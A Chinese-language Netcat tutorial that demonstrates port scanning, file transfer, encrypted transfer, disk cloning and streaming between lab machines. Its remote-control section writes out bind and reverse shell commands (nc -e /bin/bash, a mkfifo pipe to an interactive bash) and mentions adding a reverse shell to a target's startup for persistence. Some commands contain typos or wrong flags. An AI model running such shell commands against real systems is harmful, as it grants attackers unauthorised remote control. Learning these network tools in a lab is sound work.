Netcat使用與分析


Netcat使用與分析

簡介

Netcat (簡稱 nc)是一款簡單實用的工具,使用UDP和TCP協議。 它是一個可靠的容易被其他程序所啟用的后台操作工具,同時它也被用作網絡的測試工具或黑客工具。 使用它你可以輕易的建立任何連接。內建有很多實用的工具。被稱為網絡工具中的瑞士軍刀。

項目地址:

linux:https://nmap.org/ncat/

windows:https://nmap.org/dist/ncat-portable-5.59BETA1.zip

主要功能

  • 端口掃描功能/獲取banner信息
  • 傳輸文本信息
  • 傳輸文件/目錄
  • 加密傳輸文件
  • 遠程控制
  • 流媒體服務器
  • 遠程克隆硬盤
  • Telnet

操作環境

使用-h查看工具的使用說明,文章中使用Kali自帶的nc進行演示。

kali IP:10.211.55.8

win10 IP:10.211.55.14

-c shell commands shell模式
-e filename 程序重定向,接連接后執行的程序名
-b 允許廣播
-g gateway 源路由跳躍點, 不超過8
-G num 源路由指示器: 4, 8, 12, ...
-h 獲取幫助信息
-i secs 延時設置,端口掃描時使用
-k 設置在socket上的存活選項
-l 監聽模式
-n 以數字形式表示的IP地址
-o file 使進制記錄
-p port 指定端口
-r 隨機本地和遠程的端口
-q secs 在標准輸入且延遲后退出
-s addr 本地源地址
-T tos 設置服務類型
-t 以TELNET的形式應答入站請求
-u UDP模式
-v 顯示詳細信息(使用-vv獲取更詳細的信息)
-w secs 連接超時設置
-C 發送CRLF作為行結束
-z 零I/O模式,僅報告連接狀態,不進行交互 [掃描時使用] 

基本使用

端口掃描功能/獲取banner信息

nc 可以探測服務器的端口是否開放以及 banner 信息。

#命令格式 -n 以數字形式表示的IP地址 -v 顯示詳細信息
nc -nv ip port

可以看到10.211.55.14的139端口時開放的,對應的 banner 信息是netbios,這個功能可以用於端口掃描探測。

#命令格式 -z 僅報告連接狀態,不進行交互
nc -nvz ip ports

Wireshark抓包查看,加了-z確實只有請求包,沒有進行3次握手的交互。(ip.addr == 10.211.55.8 or ip.addr == 10.211.55.14)

傳輸文本信息

nc 可以在兩台機器之間相互傳遞信息,首先需要有一台機器進行監聽一個端口,另一台以連接的方式去連接其指定的端口,這樣兩台機器之間建立了通信后,相互之間可以傳輸信息。

#kali上執行監聽命令 -l 參數是監聽模式 -p指定一個端口
nc -l -p 7777
#win10上執行連接命令
ncat.exe -nv 10.211.55.8 7777

抓包查看,傳輸為明文傳輸,無任何的加密。

傳輸文件和目錄

文件傳輸和目錄這個功能,和文本信息傳輸類似,只不過是把文本信息換成了文件和目錄。

傳輸文件

首先正向傳輸文件,用一台機器監聽一個端口,如果有人連接並傳來信息時,則將信息使用重定向(>)到文件。另一台機器連接目標指定端口然后通過輸出(<)要傳送的文件即可。

#kali上執行監聽命令 -l 參數是監聽模式 -p指定一個端口
nc -l -p 7777 > 1.txt
#win10上執行連接命令
ncat.exe -nv 10.211.55.8 7777 < test.txt

抓包查看,傳輸文件也為明文傳輸,無任何的加密。

反向傳輸

同樣的也有一個反向傳輸文件,用一台機器監聽一個端口把文件准備好,如果有人連接,就傳給他文件(和正向連接的符號相反)。

#kali上執行監聽命令 -l 參數是監聽模式 -p指定一個端口
nc -l -p 7777 < 1.txt
#win10上執行連接命令
ncat.exe -nv 10.211.55.8 7777 > test1.txt

對於傳輸目錄其實和傳輸文本信息傳輸文件一樣,當作文件處理即可,傳輸時將目錄進行壓縮進行傳輸,隨后另一台機器接收后進行解壓,這樣就完成了目錄的傳輸。例如使用 tar 命令。

#kali上執行監聽命令 -c 表示進行壓縮 -v 是顯示詳細過程 -f 是文件名 -x 是解壓
tar -cvf - test | nc -lp 7777
#win10上執行連接命令
ncat.exe  -nv 10.211.55.8 7777 | tar -xvf -

加密傳輸文件

加密傳輸文件需要使用 mcrypt 庫,linux 系統默認是沒有安裝的,需要手動安裝。命令:apt-get install mcrypt

隨后和傳輸文件類似,只需要在傳輸文件時使用 mcrypt 加密即可。mcrypt --list-hash查看支持的hash加密方式。

#10.211.55.8上執行監聽命令,接收文件 --flush 立即沖洗輸出,-F 輸出數據,-b 不保留算法信息,-q 關閉一些非嚴重的警告,-d 解密 -k 指定密碼 -h 指定hash加密方式
nc -lp 7777 | mcrypt --flush -Fbqd -h sha256 -k 123456 > file.txt
#另一台kali上執行連接命令,上傳文件
echo "hello roderick" > test.txt
mcrypt --flush -Fbq -h sha256 -k 123456 < test.txt | nc -nv 192.168.183.129 7777

以下使用兩台kali進行操作

Kali IP :192.168.183.129 \ 10.211.55.8

下圖所示:通過加密的方式傳輸,可確保信息的機密性。

拓展:

關於mcrypt另一些加密算法 使用-a指定算法 -m指定加密模式,例如

nc -lp 7777 | mcrypt --flush -Fbqd -a acst-128 -m cbc -k 123456 > file.txt
mcrypt --flush -Fbq -a acst-128 -m cbc -k 123456 < test.txt | nc -nv 192.168.183.129 7777

遠程控制

原理和傳輸信息、傳輸文件一樣,只不過傳輸的是 bash,windows 系統是 cmd。

正向Shell是目標機器主動指定 bash並監聽端口,然后攻擊者連接端口,當攻擊者連接目標機器后,目標機器將Shell傳遞給主動連接的機器。

#目標機器執行 netcat支持-c、-e 參數情況下
nc -lp 7777 -c bash / nc -lp 7777 -e /bin/bash
#連接機器執行
nc -nv 10.211.55.8 7777

#目標機器執行 netcat不支持-c、-e 參數情況下
mkfifo /root/test_fifo
cat /root/test_fifo | /bin/bash -i 2>&1 | nc -lvp 7777 > /root/test_fifo

#這里我們創建一個fifo文件,然后使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標准錯誤輸出和標准輸出,然后管道到netcat 運行的端口7777上。至此,我們已經把netcat的輸出重定向到fifo文件中。
說明:
從網絡收到的輸入寫到fifo文件中
cat 命令讀取fifo文件並且其內容發送給sh命令
sh命令進程受到輸入並把它寫回到netcat。
netcat 通過網絡發送輸出到client
至於為什么會成功是因為管道使命令平行執行,fifo文件用來替代正常文件,因為fifo使讀取等待而如果是一個普通文件,cat命令會盡快結束並開始讀取空文件。

#連接機器執行
nc -nv 10.211.55.8 7777

反向Shell是攻擊者本地監聽一個端口,讓目標服務器來連接自己,從而達到控制服務器的效果,這樣就可以寫一個腳本放到目標服務器的開機啟動中,只要目標服務器運行就會連接自己。

#攻擊機器執行 netcat支持-c、-e 參數情況下
nc -lp 7777 
#目標機器執行
nc -nv 10.211.55.8 7777 -c bash / nc -lp 10.211.55.8 7777 -e /bin/bash

流媒體服務器

流媒體,就是發送方把視頻通過流的方式進行傳輸,傳輸多少,接收方就會實時的播放多少。

首先,需要在要傳送文件的機器上把文件通過管道給 nc,然后監聽一個端口。在接收端連接此端口然后通過管道給 mplayer 進行實時播放,mplayer 默認 linux 不安裝,需要手動安裝,命令:apt-get install mplayer。

#發送方機器執行
cat 1.mp4 | nc -lp 7777
#接收方機器執行 其中 -vo 參數是選擇驅動程序,-cache 是每秒要接收的播放幀。
nv -nv 10.211.55.8 7777 | mplayer -vo x11 -cache 3000 -      #從socket中讀入數據並重定向到mplayer

遠程克隆硬盤

​ 對於遠程克隆硬盤,在遠程電子取證時可以用,使用方法需要借助 dd 命令,首先通過 nc 監聽一個端口,然后通過 dd 指定要克隆的分區,dd 的 of 參數相當於一個復制功能,然后再另一台機器通過 nc 連接此端口,dd 的 if 參數相當於粘貼的命令。格式如下:

#被克隆硬盤主機執行
nc -lp 7777  | dd of=/dev/sda
#克隆硬盤主機執行
dd if=/dev/sda | nc -nv 10.211.55.8 7777

Telnet

使用-t選項模擬Telnet客戶端。

Ncat

nc 也有不足之處,首先就是明文傳輸,可能會被嗅探。其次對於反向 shell,如果其他人通過網絡掃描發現了這個端口,也就意味着任何人都可以去監聽這個端口進行連接,缺乏身份驗證功能。

ncat 則彌補了這些缺點,ncat 不是 linux 系統自帶的命令,而是 nmap 中的。ncat 中很多參數和 nc 一樣,其中可以通過 --alow 參數來指定允許連接的機器,通過 --ssl 進行數據的加密。

#監聽端
ncat -nvl 7777 -c bash --allow 10.211.55.8 --ssl 
#連接端
ncat -nv 192.168.183.129 7777 --ssl

總結

​ nc的優點很明顯,體積小,使用方便,但缺點也很致命,明文傳輸,無法限制連接對象,沒有相關的身份驗證。而 ncat 在 nc 基礎上彌補了其不足。此外還有powershell版本的powercat。總體來說這款工具還是很好用的。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM